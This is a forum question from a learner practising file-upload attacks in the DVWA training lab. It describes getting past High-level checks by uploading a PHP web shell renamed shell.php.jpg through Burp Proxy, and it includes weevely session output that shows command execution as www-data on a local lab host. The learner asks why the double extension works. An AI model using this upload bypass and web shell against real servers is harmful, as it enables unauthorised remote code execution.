I am learning about file upload vulnerabilities using DVWA.
After cranking the website's security level to High,
the website checks both the post request's content type & file extension, so in order to bypass it I changed the file extension to .jpg
and used Burp Proxy to change the file name to shell.php.jpg
from shell.jpg
in order to execute the shell.
It works.
What I don't understand is why it works. I read that only the right most file extension pattern is treated as the file extension, So that must mean shell.php.jpg
should be treated as a .jpg
file, and It is treated as such - the upload succeeds.
But why can I execute this file and not a shell.jpg
file if the file extension stayed the same and the .php
part is just part of the file name?
root@kali:~# weevely http://10.0.2.4/dvwa/hackable/uploads/shell2.php.jpg yuval [+] weevely 3.7.0 [+] Target: www-data@10.0.2.4:/var/www/dvwa/hackable/uploads [+] Session: /root/.weevely/sessions/10.0.2.4/shell2.php_0.session [+] Shell: System shell [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> id [-][channel] The remote script execution triggers an error 500, check script and payload integrity uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@10.0.2.4:/var/www/dvwa/hackable/uploads $
Example of the file working as expected named as shell.php.jpg
.
root@kali:~# weevely http://10.0.2.4/dvwa/hackable/uploads/shell.jpg yuval [+] weevely 3.7.0 [+] Target: 10.0.2.4 [+] Session: /root/.weevely/sessions/10.0.2.4/shell_1.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> id [!][terminal] Backdoor communication failed, check URL availability and password
Example of the same file NOT working as expected named as shell.jpg
.